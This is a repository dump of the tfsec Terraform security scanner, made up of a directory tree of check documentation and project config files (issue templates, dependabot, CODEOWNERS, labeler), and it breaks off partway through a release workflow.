├── .codespellignore ├── .github ├── CODEOWNERS ├── ISSUE_TEMPLATE │ ├── bug_report.md │ ├── feature_request.md │ ├── new-check-request.md │ └── question.md ├── dependabot.yml ├── images │ └── tfsec_worded.png ├── labeler.yml └── workflows │ ├── auto-close-issues.yml │ ├── gh_release.yml │ ├── golangci-lint.yml │ ├── labeler.yml │ ├── mkdocs-latest.yaml │ ├── release.yml │ ├── snapshot-release.yml │ ├── stale.yml │ ├── test.yml │ └── typos.yml ├── .gitignore ├── .golangci.yml ├── .goreleaser.yml ├── .goreleaser_github.yml ├── .pre-commit-hooks.yaml ├── .vscode └── launch.json ├── ARCHITECTURE.md ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── Dockerfile ├── Dockerfile.ci ├── Dockerfile.scratch ├── LICENSE ├── Makefile ├── README.md ├── SIGNING.md ├── _examples ├── 971 │ ├── configurations │ │ └── project │ │ │ └── main.tf │ └── modules │ │ └── azure │ │ ├── storage-account │ │ └── module.tf │ │ └── storage-container │ │ └── module.tf ├── 1000 │ ├── .tfsec │ │ └── custom_tfchecks.json │ └── main.tf ├── 1010 │ └── main.tf ├── 1087 │ └── main.tf ├── 1509 │ └── main.tf ├── 1535 │ └── main.tf ├── 1607 │ ├── .tfsec │ │ └── custom_tfchecks.yaml │ └── main.tf ├── 1693 │ └── main.tf ├── 1775 │ └── main.tf ├── 1818 │ └── main.tf ├── archived │ └── main.tf ├── brew-validate.tf ├── cidrblocks │ ├── .tfsec │ │ └── custom_tfchecks.yaml │ └── main.tf ├── cmd_checkgen_test-check │ ├── .tfsec │ │ └── example_tfchecks.json │ ├── fail.tf │ └── pass.tf ├── counts │ └── main.tf ├── custom │ ├── .tfsec │ │ ├── custom_tf_checks.json │ │ └── custom_tfchecks.yaml │ ├── custom_check.tf │ ├── modules │ │ └── public_custom_bucket │ │ │ └── main.tf │ ├── tfsec.json │ └── tfsec.yaml ├── custom_functions │ ├── .tfsec │ │ └── functions_tfchecks.yaml │ └── main.tf ├── custom_ofType │ ├── .tfsec │ │ └── oftype_tfchecks.yaml │ └── main.tf ├── dynamics │ └── main.tf ├── foreach-module │ ├── module │ │ └── main.tf │ └── src │ │ └── main.tf ├── foreach │ └── main.tf ├── good │ └── good.tf ├── grouping │ ├── main.tf │ └── module │ │ └── main.tf ├── iam │ └── main.tf ├── ignores │ └── main.tf ├── main.tf ├── mfa-module │ └── main.tf ├── mfa │ └── group.tf ├── minver │ ├── .tfsec │ │ └── config.yaml │ └── main.tf ├── moduleUsage │ └── main.tf ├── moduleWithIgnore │ └── main.tf ├── publicBlock │ └── main.tf ├── tfjson │ └── test.tf.json ├── withVars │ ├── cidr.tfvars │ ├── encryption.tfvars │ ├── main.tf │ └── variables.tf ├── with_config_overrides │ ├── .tfsec │ │ └── config.yml │ └── main.tf └── workspace │ └── main.tf ├── cmd ├── tfsec-checkgen │ └── main.go ├── tfsec-docs │ ├── indexes.go │ ├── main.go │ └── webpage.go └── tfsec │ └── main.go ├── codescanning.png ├── docs ├── Dockerfile ├── assets │ └── signing.asc ├── checks │ ├── aws │ │ ├── api-gateway │ │ │ ├── enable-access-logging │ │ │ │ └── index.md │ │ │ ├── enable-cache-encryption │ │ │ │ └── index.md │ │ │ ├── enable-tracing │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── no-public-access │ │ │ │ └── index.md │ │ │ └── use-secure-tls-policy │ │ │ │ └── index.md │ │ ├── athena │ │ │ ├── enable-at-rest-encryption │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ └── no-encryption-override │ │ │ │ └── index.md │ │ ├── autoscaling │ │ │ ├── enable-at-rest-encryption │ │ │ │ └── index.md │ │ │ ├── enforce-http-token-imds │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── no-public-ip │ │ │ │ └── index.md │ │ │ ├── no-secrets-in-user-data │ │ │ │ └── index.md │ │ │ └── no-sensitive-info │ │ │ │ └── index.md │ │ ├── cloudfront │ │ │ ├── enable-logging │ │ │ │ └── index.md │ │ │ ├── enable-waf │ │ │ │ └── index.md │ │ │ ├── enforce-https │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ └── use-secure-tls-policy │ │ │ │ └── index.md │ │ ├── cloudtrail │ │ │ ├── enable-all-regions │ │ │ │ └── index.md │ │ │ ├── enable-at-rest-encryption │ │ │ │ └── index.md │ │ │ ├── enable-log-validation │ │ │ │ └── index.md │ │ │ ├── ensure-cloudwatch-integration │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── no-public-log-access │ │ │ │ └── index.md │ │ │ └── require-bucket-access-logging │ │ │ │ └── index.md │ │ ├── cloudwatch │ │ │ ├── index.md │ │ │ └── log-group-customer-key │ │ │ │ └── index.md │ │ ├── codebuild │ │ │ ├── enable-encryption │ │ │ │ └── index.md │ │ │ └── index.md │ │ ├── config │ │ │ ├── aggregate-all-regions │ │ │ │ └── index.md │ │ │ └── index.md │ │ ├── documentdb │ │ │ ├── enable-log-export │ │ │ │ └── index.md │ │ │ ├── enable-storage-encryption │ │ │ │ └── index.md │ │ │ ├── encryption-customer-key │ │ │ │ └── index.md │ │ │ └── index.md │ │ ├── dynamodb │ │ │ ├── enable-at-rest-encryption │ │ │ │ └── index.md │ │ │ ├── enable-recovery │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ └── table-customer-key │ │ │ │ └── index.md │ │ ├── ebs │ │ │ ├── enable-volume-encryption │ │ │ │ └── index.md │ │ │ ├── encryption-customer-key │ │ │ │ └── index.md │ │ │ └── index.md │ │ ├── ec2 │ │ │ ├── add-description-to-security-group-rule │ │ │ │ └── index.md │ │ │ ├── add-description-to-security-group │ │ │ │ └── index.md │ │ │ ├── enable-at-rest-encryption │ │ │ │ └── index.md │ │ │ ├── enable-launch-config-at-rest-encryption │ │ │ │ └── index.md │ │ │ ├── enable-volume-encryption │ │ │ │ └── index.md │ │ │ ├── enforce-http-token-imds │ │ │ │ └── index.md │ │ │ ├── enforce-launch-config-http-token-imds │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── no-default-vpc │ │ │ │ └── index.md │ │ │ ├── no-excessive-port-access │ │ │ │ └── index.md │ │ │ ├── no-public-egress-sgr │ │ │ │ └── index.md │ │ │ ├── no-public-ingress-acl │ │ │ │ └── index.md │ │ │ ├── no-public-ingress-sgr │ │ │ │ └── index.md │ │ │ ├── no-public-ip-subnet │ │ │ │ └── index.md │ │ │ ├── no-public-ip │ │ │ │ └── index.md │ │ │ ├── no-secrets-in-launch-template-user-data │ │ │ │ └── index.md │ │ │ ├── no-secrets-in-user-data │ │ │ │ └── index.md │ │ │ ├── no-sensitive-info │ │ │ │ └── index.md │ │ │ └── volume-encryption-customer-key │ │ │ │ └── index.md │ │ ├── ecr │ │ │ ├── enable-image-scans │ │ │ │ └── index.md │ │ │ ├── enforce-immutable-repository │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── no-public-access │ │ │ │ └── index.md │ │ │ └── repository-customer-key │ │ │ │ └── index.md │ │ ├── ecs │ │ │ ├── enable-container-insight │ │ │ │ └── index.md │ │ │ ├── enable-in-transit-encryption │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ └── no-plaintext-secrets │ │ │ │ └── index.md │ │ ├── efs │ │ │ ├── enable-at-rest-encryption │ │ │ │ └── index.md │ │ │ └── index.md │ │ ├── eks │ │ │ ├── enable-control-plane-logging │ │ │ │ └── index.md │ │ │ ├── encrypt-secrets │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── no-public-cluster-access-to-cidr │ │ │ │ └── index.md │ │ │ └── no-public-cluster-access │ │ │ │ └── index.md │ │ ├── elastic-search │ │ │ ├── enable-domain-encryption │ │ │ │ └── index.md │ │ │ ├── enable-domain-logging │ │ │ │ └── index.md │ │ │ ├── enable-in-transit-encryption │ │ │ │ └── index.md │ │ │ ├── enforce-https │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ └── use-secure-tls-policy │ │ │ │ └── index.md │ │ ├── elasticache │ │ │ ├── add-description-for-security-group │ │ │ │ └── index.md │ │ │ ├── enable-at-rest-encryption │ │ │ │ └── index.md │ │ │ ├── enable-backup-retention │ │ │ │ └── index.md │ │ │ ├── enable-in-transit-encryption │ │ │ │ └── index.md │ │ │ └── index.md │ │ ├── elb │ │ │ ├── alb-not-public │ │ │ │ └── index.md │ │ │ ├── drop-invalid-headers │ │ │ │ └── index.md │ │ │ ├── http-not-used │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ └── use-secure-tls-policy │ │ │ │ └── index.md │ │ ├── emr │ │ │ ├── enable-at-rest-encryption │ │ │ │ └── index.md │ │ │ ├── enable-in-transit-encryption │ │ │ │ └── index.md │ │ │ ├── enable-local-disk-encryption │ │ │ │ └── index.md │ │ │ └── index.md │ │ ├── iam │ │ │ ├── enforce-group-mfa │ │ │ │ └── index.md │ │ │ ├── enforce-mfa │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── no-password-reuse │ │ │ │ └── index.md │ │ │ ├── no-policy-wildcards │ │ │ │ └── index.md │ │ │ ├── no-root-access-keys │ │ │ │ └── index.md │ │ │ ├── no-user-attached-policies │ │ │ │ └── index.md │ │ │ ├── require-lowercase-in-passwords │ │ │ │ └── index.md │ │ │ ├── require-numbers-in-passwords │ │ │ │ └── index.md │ │ │ ├── require-symbols-in-passwords │ │ │ │ └── index.md │ │ │ ├── require-uppercase-in-passwords │ │ │ │ └── index.md │ │ │ ├── set-max-password-age │ │ │ │ └── index.md │ │ │ └── set-minimum-password-length │ │ │ │ └── index.md │ │ ├── index.md │ │ ├── kinesis │ │ │ ├── enable-in-transit-encryption │ │ │ │ └── index.md │ │ │ └── index.md │ │ ├── kms │ │ │ ├── auto-rotate-keys │ │ │ │ └── index.md │ │ │ └── index.md │ │ ├── lambda │ │ │ ├── enable-tracing │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ └── restrict-source-arn │ │ │ │ └── index.md │ │ ├── mq │ │ │ ├── enable-audit-logging │ │ │ │ └── index.md │ │ │ ├── enable-general-logging │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ └── no-public-access │ │ │ │ └── index.md │ │ ├── msk │ │ │ ├── enable-in-transit-encryption │ │ │ │ └── index.md │ │ │ ├── enable-logging │ │ │ │ └── index.md │ │ │ └── index.md │ │ ├── neptune │ │ │ ├── enable-log-export │ │ │ │ └── index.md │ │ │ ├── enable-storage-encryption │ │ │ │ └── index.md │ │ │ ├── encryption-customer-key │ │ │ │ └── index.md │ │ │ └── index.md │ │ ├── rds │ │ │ ├── enable-performance-insights-encryption │ │ │ │ └── index.md │ │ │ ├── enable-performance-insights │ │ │ │ └── index.md │ │ │ ├── encrypt-cluster-storage-data │ │ │ │ └── index.md │ │ │ ├── encrypt-instance-storage-data │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── no-classic-resources │ │ │ │ └── index.md │ │ │ ├── no-public-db-access │ │ │ │ └── index.md │ │ │ └── specify-backup-retention │ │ │ │ └── index.md │ │ ├── redshift │ │ │ ├── encryption-customer-key │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ └── use-vpc │ │ │ │ └── index.md │ │ ├── s3 │ │ │ ├── block-public-acls │ │ │ │ └── index.md │ │ │ ├── block-public-policy │ │ │ │ └── index.md │ │ │ ├── enable-bucket-encryption │ │ │ │ └── index.md │ │ │ ├── enable-bucket-logging │ │ │ │ └── index.md │ │ │ ├── enable-versioning │ │ │ │ └── index.md │ │ │ ├── encryption-customer-key │ │ │ │ └── index.md │ │ │ ├── ignore-public-acls │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── no-public-access-with-acl │ │ │ │ └── index.md │ │ │ ├── no-public-buckets │ │ │ │ └── index.md │ │ │ └── specify-public-access-block │ │ │ │ └── index.md │ │ ├── sns │ │ │ ├── enable-topic-encryption │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ └── topic-encryption-use-cmk │ │ │ │ └── index.md │ │ ├── sqs │ │ │ ├── enable-queue-encryption │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── no-wildcards-in-policy-documents │ │ │ │ └── index.md │ │ │ └── queue-encryption-use-cmk │ │ │ │ └── index.md │ │ ├── ssm │ │ │ ├── avoid-leaks-via-http │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ └── secret-use-customer-key │ │ │ │ └── index.md │ │ ├── vpc │ │ │ ├── add-description-to-security-group-rule │ │ │ │ └── index.md │ │ │ ├── add-description-to-security-group │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── no-default-vpc │ │ │ │ └── index.md │ │ │ ├── no-excessive-port-access │ │ │ │ └── index.md │ │ │ ├── no-public-egress-sgr │ │ │ │ └── index.md │ │ │ ├── no-public-ingress-acl │ │ │ │ └── index.md │ │ │ └── no-public-ingress-sgr │ │ │ │ └── index.md │ │ └── workspaces │ │ │ ├── enable-disk-encryption │ │ │ └── index.md │ │ │ └── index.md │ ├── azure │ │ ├── appservice │ │ │ ├── account-identity-registered │ │ │ │ └── index.md │ │ │ ├── authentication-enabled │ │ │ │ └── index.md │ │ │ ├── enable-http2 │ │ │ │ └── index.md │ │ │ ├── enforce-https │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── require-client-cert │ │ │ │ └── index.md │ │ │ └── use-secure-tls-policy │ │ │ │ └── index.md │ │ ├── authorization │ │ │ ├── index.md │ │ │ └── limit-role-actions │ │ │ │ └── index.md │ │ ├── compute │ │ │ ├── disable-password-authentication │ │ │ │ └── index.md │ │ │ ├── enable-disk-encryption │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ └── no-secrets-in-custom-data │ │ │ │ └── index.md │ │ ├── container │ │ │ ├── configured-network-policy │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── limit-authorized-ips │ │ │ │ └── index.md │ │ │ ├── logging │ │ │ │ └── index.md │ │ │ └── use-rbac-permissions │ │ │ │ └── index.md │ │ ├── database │ │ │ ├── all-threat-alerts-enabled │ │ │ │ └── index.md │ │ │ ├── enable-audit │ │ │ │ └── index.md │ │ │ ├── enable-ssl-enforcement │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── no-public-access │ │ │ │ └── index.md │ │ │ ├── no-public-firewall-access │ │ │ │ └── index.md │ │ │ ├── postgres-configuration-connection-throttling │ │ │ │ └── index.md │ │ │ ├── postgres-configuration-log-checkpoints │ │ │ │ └── index.md │ │ │ ├── postgres-configuration-log-connections │ │ │ │ └── index.md │ │ │ ├── retention-period-set │ │ │ │ └── index.md │ │ │ ├── secure-tls-policy │ │ │ │ └── index.md │ │ │ ├── threat-alert-email-set │ │ │ │ └── index.md │ │ │ └── threat-alert-email-to-owner │ │ │ │ └── index.md │ │ ├── datafactory │ │ │ ├── index.md │ │ │ └── no-public-access │ │ │ │ └── index.md │ │ ├── datalake │ │ │ ├── enable-at-rest-encryption │ │ │ │ └── index.md │ │ │ └── index.md │ │ ├── index.md │ │ ├── keyvault │ │ │ ├── content-type-for-secret │ │ │ │ └── index.md │ │ │ ├── ensure-key-expiry │ │ │ │ └── index.md │ │ │ ├── ensure-secret-expiry │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── no-purge │ │ │ │ └── index.md │ │ │ └── specify-network-acl │ │ │ │ └── index.md │ │ ├── monitor │ │ │ ├── activity-log-retention-set │ │ │ │ └── index.md │ │ │ ├── capture-all-activities │ │ │ │ └── index.md │ │ │ ├── capture-all-regions │ │ │ │ └── index.md │ │ │ └── index.md │ │ ├── network │ │ │ ├── disable-rdp-from-internet │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── no-public-egress │ │ │ │ └── index.md │ │ │ ├── no-public-ingress │ │ │ │ └── index.md │ │ │ ├── retention-policy-set │ │ │ │ └── index.md │ │ │ └── ssh-blocked-from-internet │ │ │ │ └── index.md │ │ ├── security-center │ │ │ ├── alert-on-severe-notifications │ │ │ │ └── index.md │ │ │ ├── enable-standard-subscription │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ └── set-required-contact-details │ │ │ │ └── index.md │ │ ├── storage │ │ │ ├── allow-microsoft-service-bypass │ │ │ │ └── index.md │ │ │ ├── default-action-deny │ │ │ │ └── index.md │ │ │ ├── enforce-https │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── no-public-access │ │ │ │ └── index.md │ │ │ ├── queue-services-logging-enabled │ │ │ │ └── index.md │ │ │ └── use-secure-tls-policy │ │ │ │ └── index.md │ │ └── synapse │ │ │ ├── index.md │ │ │ └── virtual-network-enabled │ │ │ └── index.md │ ├── cloudstack │ │ ├── compute │ │ │ ├── index.md │ │ │ └── no-sensitive-info │ │ │ │ └── index.md │ │ └── index.md │ ├── digitalocean │ │ ├── compute │ │ │ ├── enforce-https │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── kubernetes-auto-upgrades-not-enabled │ │ │ │ └── index.md │ │ │ ├── no-public-egress │ │ │ │ └── index.md │ │ │ ├── no-public-ingress │ │ │ │ └── index.md │ │ │ ├── surge-upgrades-not-enabled │ │ │ │ └── index.md │ │ │ └── use-ssh-keys │ │ │ │ └── index.md │ │ ├── index.md │ │ └── spaces │ │ │ ├── acl-no-public-read │ │ │ └── index.md │ │ │ ├── disable-force-destroy │ │ │ └── index.md │ │ │ ├── index.md │ │ │ └── versioning-enabled │ │ │ └── index.md │ ├── general │ │ ├── index.md │ │ └── secrets │ │ │ ├── index.md │ │ │ └── no-plaintext-exposure │ │ │ └── index.md │ ├── github │ │ ├── actions │ │ │ ├── index.md │ │ │ └── no-plain-text-action-secrets │ │ │ │ └── index.md │ │ ├── branch_protections │ │ │ ├── index.md │ │ │ └── require_signed_commits │ │ │ │ └── index.md │ │ ├── index.md │ │ └── repositories │ │ │ ├── enable_vulnerability_alerts │ │ │ └── index.md │ │ │ ├── index.md │ │ │ └── private │ │ │ └── index.md │ ├── google │ │ ├── bigquery │ │ │ ├── index.md │ │ │ └── no-public-access │ │ │ │ └── index.md │ │ ├── compute │ │ │ ├── disk-encryption-customer-key │ │ │ │ └── index.md │ │ │ ├── disk-encryption-no-plaintext-key │ │ │ │ └── index.md │ │ │ ├── enable-shielded-vm-im │ │ │ │ └── index.md │ │ │ ├── enable-shielded-vm-vtpm │ │ │ │ └── index.md │ │ │ ├── enable-vpc-flow-logs │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── no-default-service-account │ │ │ │ └── index.md │ │ │ ├── no-ip-forwarding │ │ │ │ └── index.md │ │ │ ├── no-oslogin-override │ │ │ │ └── index.md │ │ │ ├── no-project-wide-ssh-keys │ │ │ │ └── index.md │ │ │ ├── no-public-egress │ │ │ │ └── index.md │ │ │ ├── no-public-ingress │ │ │ │ └── index.md │ │ │ ├── no-public-ip │ │ │ │ └── index.md │ │ │ ├── no-serial-port │ │ │ │ └── index.md │ │ │ ├── project-level-oslogin │ │ │ │ └── index.md │ │ │ ├── use-secure-tls-policy │ │ │ │ └── index.md │ │ │ └── vm-disk-encryption-customer-key │ │ │ │ └── index.md │ │ ├── dns │ │ │ ├── enable-dnssec │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ └── no-rsa-sha1 │ │ │ │ └── index.md │ │ ├── gke │ │ │ ├── enable-auto-repair │ │ │ │ └── index.md │ │ │ ├── enable-auto-upgrade │ │ │ │ └── index.md │ │ │ ├── enable-ip-aliasing │ │ │ │ └── index.md │ │ │ ├── enable-master-networks │ │ │ │ └── index.md │ │ │ ├── enable-network-policy │ │ │ │ └── index.md │ │ │ ├── enable-private-cluster │ │ │ │ └── index.md │ │ │ ├── enable-stackdriver-logging │ │ │ │ └── index.md │ │ │ ├── enable-stackdriver-monitoring │ │ │ │ └── index.md │ │ │ ├── enforce-pod-security-policy │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── metadata-endpoints-disabled │ │ │ │ └── index.md │ │ │ ├── no-legacy-authentication │ │ │ │ └── index.md │ │ │ ├── no-public-control-plane │ │ │ │ └── index.md │ │ │ ├── node-metadata-security │ │ │ │ └── index.md │ │ │ ├── node-pool-uses-cos │ │ │ │ └── index.md │ │ │ ├── node-shielding-enabled │ │ │ │ └── index.md │ │ │ ├── use-cluster-labels │ │ │ │ └── index.md │ │ │ ├── use-rbac-permissions │ │ │ │ └── index.md │ │ │ └── use-service-account │ │ │ │ └── index.md │ │ ├── iam │ │ │ ├── index.md │ │ │ ├── no-default-network │ │ │ │ └── index.md │ │ │ ├── no-folder-level-default-service-account-assignment │ │ │ │ └── index.md │ │ │ ├── no-folder-level-service-account-impersonation │ │ │ │ └── index.md │ │ │ ├── no-org-level-default-service-account-assignment │ │ │ │ └── index.md │ │ │ ├── no-org-level-service-account-impersonation │ │ │ │ └── index.md │ │ │ ├── no-privileged-service-accounts │ │ │ │ └── index.md │ │ │ ├── no-project-level-default-service-account-assignment │ │ │ │ └── index.md │ │ │ ├── no-project-level-service-account-impersonation │ │ │ │ └── index.md │ │ │ └── no-user-granted-permissions │ │ │ │ └── index.md │ │ ├── index.md │ │ ├── kms │ │ │ ├── index.md │ │ │ └── rotate-kms-keys │ │ │ │ └── index.md │ │ ├── sql │ │ │ ├── enable-backup │ │ │ │ └── index.md │ │ │ ├── enable-pg-temp-file-logging │ │ │ │ └── index.md │ │ │ ├── encrypt-in-transit-data │ │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── mysql-no-local-infile │ │ │ │ └── index.md │ │ │ ├── no-contained-db-auth │ │ │ │ └── index.md │ │ │ ├── no-cross-db-ownership-chaining │ │ │ │ └── index.md │ │ │ ├── no-public-access │ │ │ │ └── index.md │ │ │ ├── pg-log-checkpoints │ │ │ │ └── index.md │ │ │ ├── pg-log-connections │ │ │ │ └── index.md │ │ │ ├── pg-log-disconnections │ │ │ │ └── index.md │ │ │ ├── pg-log-errors │ │ │ │ └── index.md │ │ │ ├── pg-log-lock-waits │ │ │ │ └── index.md │ │ │ └── pg-no-min-statement-logging │ │ │ │ └── index.md │ │ └── storage │ │ │ ├── enable-ubla │ │ │ └── index.md │ │ │ ├── index.md │ │ │ └── no-public-access │ │ │ └── index.md │ ├── kubernetes │ │ ├── index.md │ │ └── network │ │ │ ├── index.md │ │ │ ├── no-public-egress │ │ │ └── index.md │ │ │ └── no-public-ingress │ │ │ └── index.md │ ├── openstack │ │ ├── compute │ │ │ ├── index.md │ │ │ ├── no-plaintext-password │ │ │ │ └── index.md │ │ │ └── no-public-access │ │ │ │ └── index.md │ │ ├── index.md │ │ └── networking │ │ │ ├── describe-security-group │ │ │ └── index.md │ │ │ ├── index.md │ │ │ ├── no-public-egress │ │ │ └── index.md │ │ │ └── no-public-ingress │ │ │ └── index.md │ └── oracle │ │ ├── compute │ │ ├── index.md │ │ └── no-public-ip │ │ │ └── index.md │ │ └── index.md ├── css │ └── extra.css ├── favicon.ico ├── guides │ ├── configuration │ │ ├── config.md │ │ ├── custom-checks.md │ │ └── ignores.md │ ├── credit.md │ ├── github-actions │ │ ├── github-action.md │ │ └── pr-commenter.md │ ├── installation.md │ ├── quickstart.md │ ├── rego │ │ └── rego.md │ ├── signing.md │ ├── trivy.md │ └── usage.md ├── imgs │ ├── codescanning.png │ ├── demo.gif │ ├── homelogo.png │ ├── logo.png │ ├── logonav.png │ ├── newworkflow.png │ ├── pr_commenter.png │ └── tfsec.png ├── index.md └── requirements.txt ├── go.mod ├── go.sum ├── internal ├── app │ └── tfsec │ │ └── cmd │ │ ├── flags.go │ │ ├── output.go │ │ ├── prerun.go │ │ └── root.go └── pkg │ ├── config │ ├── config.go │ └── config_test.go │ ├── custom │ ├── check_all_statements_test.go │ ├── complex_checks.go │ ├── custom_check.go │ ├── custom_context.go │ ├── loader.go │ ├── multiple_submatches_test.go │ ├── processing.go │ ├── processing_test.go │ └── validate.go │ ├── formatter │ ├── default.go │ ├── gif.go │ ├── html.go │ ├── markdown.go │ └── metrics.go │ ├── ignores │ └── migration.go │ ├── legacy │ └── map.go │ ├── metrics │ ├── category.go │ ├── count.go │ ├── metric.go │ └── timer.go │ └── updater │ └── updater.go ├── mkdocs.yml ├── rules.md ├── scanningalert.png ├── screenshot.png ├── scripts ├── build.sh ├── build_checks_nav.py ├── clone-images.sh ├── install.sh ├── install_linux.sh ├── publish-docs.sh └── update-wiki.sh ├── test ├── defaults_test.go ├── flags_test.go ├── issues_test.go ├── setup_test.go └── testdata │ ├── badhcl │ └── main.tf │ ├── config-minimum-severity │ └── config.yml │ ├── config │ ├── config.yml │ └── main.tf │ ├── custom │ ├── custom_tfchecks.json │ └── main.tf │ ├── custom_url │ ├── custom_check.tf │ ├── modules │ │ └── public_custom_bucket │ │ │ └── main.tf │ ├── tfsec.json │ └── tfsec.yaml │ ├── external-module │ └── main.tf │ ├── fail │ └── main.tf │ ├── group │ └── main.tf │ ├── ignored │ └── main.tf │ ├── issues │ └── 1661 │ │ ├── .gitignore │ │ ├── .terraform │ │ └── modules │ │ │ └── modules.json │ │ ├── database │ │ └── main.tf │ │ └── main.tf │ ├── mixed │ └── main.tf │ ├── nested │ ├── fail │ │ └── main.tf │ └── main.tf │ ├── panic │ └── main.tf │ ├── pass │ └── main.tf │ ├── rego │ ├── policies │ │ └── rego.rego │ └── tf │ │ └── main.tf │ ├── tfvars │ ├── test.tfvars │ └── tf │ │ └── main.tf │ ├── with_config_overrides │ └── main.tf │ └── workspace │ └── main.tf ├── tfsec-to-trivy-migration-guide.md ├── tfsec.png ├── utils └── gpg_keys │ └── signing.D66B222A3EA4C25D5D1A097FC34ACEFB46EC39CE.asc └── version └── version.go /.codespellignore: -------------------------------------------------------------------------------- 1 | aks 2 | ans 3 | tfsec -------------------------------------------------------------------------------- /.github/CODEOWNERS: -------------------------------------------------------------------------------- 1 | # These owners will be the default owners and reviewers for everything in 2 | # the repo. 3 | * @liamg @owenrumney 4 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: 'bug: ' 5 | labels: ["bug","needs-triage"] 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | 22 | 23 | **Output of your tfsec command with --debug flag** 24 | 25 | 26 | **System Info** 27 | 28 | - tfsec version: `?` 29 | - terraform version: `?` 30 | - OS: `?` 31 | 32 | **Example Code** 33 | 34 | 35 | **Additional context** 36 | 37 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: 'feat: ' 5 | labels: ["feature", "needs-triage"] 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | 12 | 13 | **Describe the solution you'd like** 14 | 15 | 16 | **Describe alternatives you've considered** 17 | 18 | 19 | **Additional context** 20 | 21 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/new-check-request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: New check request 3 | about: Request a new tfsec check 4 | title: "feat: new check for " 5 | labels: 'new check', 'feature', 'requires-defsec' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Target Provider** 11 | 12 | 13 | **Target Terraform Block type** 14 | - [ ] module 15 | - [ ] resource 16 | - [ ] data 17 | - [ ] provider 18 | - [ ] variable 19 | 20 | **Target Terraform Type(s)** 21 | 22 | 23 | **Description of check** 24 | 25 | 26 | **Relevant links** 27 | 28 | 29 | **Anything Else** 30 | 31 | 32 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/question.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Question 3 | about: Ask a question when there isn't really an issue 4 | title: 'question: ' 5 | labels: question 6 | assignees: '' 7 | 8 | --- 9 | 10 | 11 | -------------------------------------------------------------------------------- /.github/dependabot.yml: -------------------------------------------------------------------------------- 1 | # To get started with Dependabot version updates, you'll need to specify which 2 | # package ecosystems to update and where the package manifests are located. 3 | # Please see the documentation for all configuration options: 4 | # https://help.github.com/github/administering-a-repository/configuration-options-for-dependency-updates 5 | 6 | version: 2 7 | updates: 8 | # Maintain dependencies for go-modules 9 | - package-ecosystem: "gomod" 10 | directory: "/" 11 | schedule: 12 | interval: "weekly" 13 | ignore: 14 | - dependency-name: "github.com/zclconf/go-cty" 15 | versions: ["1.x"] 16 | 17 | # Maintain dependencies for GitHub Actions 18 | - package-ecosystem: "github-actions" 19 | directory: "/" 20 | schedule: 21 | interval: "weekly" 22 | 23 | # Maintain dependencies for dockerfile 24 | - package-ecosystem: "docker" 25 | directory: "/" 26 | schedule: 27 | interval: "weekly" 28 | -------------------------------------------------------------------------------- /.github/images/tfsec_worded.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aquasecurity/tfsec/b692c20b68c0121346b7b34e81d6b1867ca8e1a8/.github/images/tfsec_worded.png -------------------------------------------------------------------------------- /.github/labeler.yml: -------------------------------------------------------------------------------- 1 | bug: 2 | - '(bug)' 3 | feature: 4 | - '(feature)' 5 | custom-checks: 6 | - '(custom)' 7 | aws: 8 | - '(aws|amazon)' 9 | google: 10 | - '(google|gcp)' 11 | azure: 12 | - '(azure|azurerm)' 13 | 14 | -------------------------------------------------------------------------------- /.github/workflows/gh_release.yml: -------------------------------------------------------------------------------- 1 | name: tfsec github docker release 2 | 3 | on: 4 | push: 5 | tags: 6 | - v* 7 | 8 | jobs: 9 | build: 10 | name: Create GHCR release 11 | runs-on: 